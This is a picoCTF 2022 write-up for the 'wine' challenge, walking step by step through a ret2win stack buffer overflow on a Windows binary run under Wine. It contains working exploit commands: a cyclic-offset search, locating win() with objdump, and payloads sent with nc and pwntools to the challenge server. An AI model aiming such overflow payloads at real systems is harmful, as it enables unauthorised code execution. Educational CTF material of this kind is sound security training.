wine picoCTF 2022 Solution

Published: July 20, 2023

Description

A 32-bit Windows PE binary served over netcat. The binary calls gets() into a fixed-size stack buffer, which means you can overflow it to overwrite the saved return address and redirect execution to a win() function that prints the flag.

This is a classic ret2win exploit, with the twist that the vulnerable program is a Windows executable running under Wine on the challenge server.

Remote

Download the source and binary from the challenge page.

Install Wine and the mingw cross-compiler so you can run and rebuild the binary locally.

Compile a modified copy of the source that prints the address of win() at startup, so you have a reliable target address for the overflow.

bash
sudo apt-get install wine32 gcc-mingw-w64-i686
bash
# Add a printf("win: %p\n", win); line near the top of main, then recompile:
bash
i686-w64-mingw32-gcc -m32 vuln.c -o vuln_local.exe -no-pie
bash
WINEARCH=win32 WINEPREFIX=~/.wine32 wine vuln_local.exe

Solution

Want to try it yourself first?

The guided walkthrough reveals hints one step at a time.

Walk me through it
  1. Step 1
    Understand the vulnerability
    Observation
    I noticed the source exposed a gets() call writing into a fixed-size 128-byte buffer alongside a win() function that prints the flag, which are the two ingredients of a classic ret2win: an unbounded write that can overwrite the saved return address and a ready-made target to redirect to.
    The source exposes two functions: vuln(), which calls gets() into a 128-byte stack buffer, and win(), which opens flag.txt and prints it. gets() never checks how many bytes the caller wrote, so anything past the 128-byte buffer overwrites saved registers on the stack including the saved return address (EIP on 32-bit x86). If you replace that address with the address of win(), the CPU jumps to win() instead of returning normally.
    Learn more

    Why gets() is the problem: the C standard deprecated and then removed gets() precisely because it has no length parameter. When vuln() returns, the CPU pops the saved EIP off the stack and jumps to it. Overwriting that slot with any address you control gives you arbitrary code execution.

    On 32-bit x86, the stack frame for a 128-byte local array looks roughly like:

    [ buf: 128 bytes ]
    [ saved EBP: 4 bytes ]   <- +128
    [ saved EIP: 4 bytes ]   <- +132  (overwrite this with win address)

    In practice the compiler may add alignment padding, so the exact offset must be confirmed experimentally.

  2. Step 2
    Find the offset that controls EIP
    Observation
    I noticed that compiler alignment padding can shift the saved EIP slot beyond the theoretical 132-byte mark (128 bytes of buffer plus 4 bytes of saved EBP), which suggested using a De Bruijn cyclic pattern and reading the faulting address Wine reports to measure the true offset empirically.
    Generate a De Bruijn cyclic pattern of 150 bytes with pwntools, pipe it into the binary under Wine, and observe the segfault address Wine reports. Feed that address back into pwntools to get the exact byte offset at which the pattern overwrites EIP. For this binary the offset is 140 bytes.
    python
    python3 -c "from pwn import *; sys.stdout.buffer.write(cyclic(150))" > pattern.bin
    bash
    WINEARCH=win32 WINEPREFIX=~/.wine32 wine vuln.exe < pattern.bin
    bash
    # Wine prints something like: Unhandled exception: page fault on read access to 0x61616174
    python
    python3 -c "from pwn import *; print(cyclic_find(0x61616174))"
    bash
    # Output: 140

    Expected output

    140
    What didn't work first

    Tried: Using gdb with the cyclic pattern instead of running the binary under Wine

    gdb cannot load a Windows PE binary directly on Linux - it reports 'not in executable format' and exits. You must run the binary under Wine to get the access-violation address, then feed that value back to cyclic_find(). Wine's Unhandled exception output replaces the role of gdb's register dump here.

    Tried: Hardcoding offset 132 (128-byte buffer plus 4-byte saved EBP) instead of measuring it

    The compiler can insert alignment padding between the buffer and saved EBP, so the theoretical offset of 132 is often wrong. Sending 132 'A' bytes followed by the win() address leaves EIP partially filled with padding bytes rather than the target address, causing a crash at a wrong address. Only the measured cyclic_find() value of 140 is reliable for this build.

    Learn more

    cyclic(150) produces a pattern where every 4-byte window is unique, so the value Wine reports as the faulting address pinpoints the exact position in the pattern. cyclic_find() converts that value back to a byte offset.

    Wine reports access violations the same way a native Linux binary would trigger a segfault, making it straightforward to use the standard pwntools offset-finding workflow even on Windows PE files.

  3. Step 3
    Get the win() function address
    Observation
    I noticed the binary was compiled without PIE (confirmed by the -no-pie flag in the build command), which meant win() would load at the same base address on every run and I could safely hardcode the address found via objdump rather than needing a memory leak.
    Run objdump on the binary to find the address of win(). Because the binary is compiled without PIE, this address is fixed every run. The win() function is located at 0x401530.
    bash
    objdump -d vuln.exe | grep -A2 '<win>'
    bash
    # Look for:  00401530 <win>:

    Expected output

    00401530 <win>:
    What didn't work first

    Tried: Running nm vuln.exe to get the win() address instead of objdump

    nm lists symbol table entries but for a PE binary on Linux it may output only import/export symbols depending on the binutils version, omitting internal functions like win(). objdump -d disassembles all sections and labels each function with its address, which is more reliable for finding non-exported functions in Windows PE files.

    Tried: Assuming the win() address on the remote server matches the local objdump output even if the binary was compiled with PIE

    If the binary were built with PIE the loader would rebase it to a random address each run, making the local objdump address useless for the remote. This binary is compiled with -no-pie so the address is fixed, but always confirm with checksec or readelf before hardcoding any address - a PIE binary requires a leak step first.

    Learn more

    Without Position-Independent Executable (PIE) enabled, the binary is loaded at the same base address every time. That makes the win() address a static constant you can hardcode in the exploit rather than needing a leak.

    Alternatively, compile a modified source that calls printf("win: %p\n", win); at startup and run it locally under Wine to confirm the address matches objdump output.

  4. Step 4
    Craft the exploit and send it to the remote server
    Observation
    I noticed the offset was confirmed as 140 bytes and win() sat at the fixed address 0x401530, which meant the only remaining step was packing those two pieces into a payload (140 bytes of padding followed by the address in little-endian order) and piping it to the remote netcat instance while keeping stdin open to read the flag.
    Build a payload of 140 'A' bytes (the offset) followed by the 4-byte little-endian address of win() (0x401530). Send this payload to the netcat server. The server's win() function reads flag.txt and prints it.
    bash
    # Quick one-liner (bash):
    bash
    (python3 -c 'import sys; sys.stdout.buffer.write(b"A"*140 + b"\x30\x15\x40\x00")'; cat) | nc saturn.picoctf.net <PORT>
    bash
    bash
    # Or with pwntools:
    python
    python3 -c "
    python
    from pwn import *
    bash
    p = remote('saturn.picoctf.net', <PORT>)
    bash
    win_addr = 0x401530
    bash
    payload = b'A' * 140 + p32(win_addr)
    bash
    p.sendline(payload)
    python
    print(p.recvall().decode())
    bash
    "

    The server prints the flag after the overflow redirects execution into win().

    What didn't work first

    Tried: Packing the win() address as big-endian (b'\x00\x40\x15\x30') in the payload

    x86 is a little-endian architecture - the CPU reads multi-byte values with the least-significant byte at the lowest address. Sending big-endian bytes places 0x00401530 in memory as 0x30154000, which is a completely different address that will segfault or hit unmapped memory. pwntools p32() always outputs little-endian; if writing bytes manually, reverse the byte order.

    Tried: Sending the payload without the (cmd; cat) trick and piping directly: python3 exploit.py | nc ...

    When the Python script finishes, its stdout closes, which closes the pipe and sends EOF to nc immediately. The server receives the payload and begins printing the flag, but nc has already exited before the server's response arrives, so you see no output. Keeping stdin open with (python3 ...; cat) or using pwntools interactive()/recvall() lets you read the flag before the connection drops.

    Learn more

    Why little-endian? x86 stores multi-byte integers with the least-significant byte first. The address 0x401530 is packed as the bytes \x30\x15\x40\x00 in memory. pwntools' p32() helper handles this automatically.

    The (cmd; cat) shell trick keeps stdin open after the payload is sent, so you can read the flag output before the connection closes. With pwntools, recvall() waits for the connection to close and buffers all output.

Interactive tools
  • Cyclic Pattern GeneratorGenerate de Bruijn cyclic patterns and find buffer overflow offsets. The browser equivalent of pwntools cyclic and cyclic_find.
  • pwntools Payload BuilderPack integers into little-endian bytes (p32 / p64), unpack bytes back to integers, and build flat ROP payloads with offset-based insertion.

Flag

Reveal flag

picoCTF{Un_v3rr3_d3_v1n_...}

Key takeaway

Stack buffer overflows let an attacker overwrite the saved return address by writing past the end of a fixed-size buffer, redirecting the CPU to attacker-controlled code when the function returns. The ret2win pattern is the simplest exploit: no shellcode is needed, only the address of an existing function that hands over the prize. The same primitive applies on Windows PE binaries running under Wine because the x86 calling convention and stack layout are identical; the platform difference only affects tooling, not the underlying vulnerability. Mitigations like stack canaries, ASLR, and non-executable stacks each raise the bar but require all three to be present and correctly configured to stop a determined attacker.

Related reading

Want more picoCTF 2022 writeups?

Tools used in this challenge

What to try next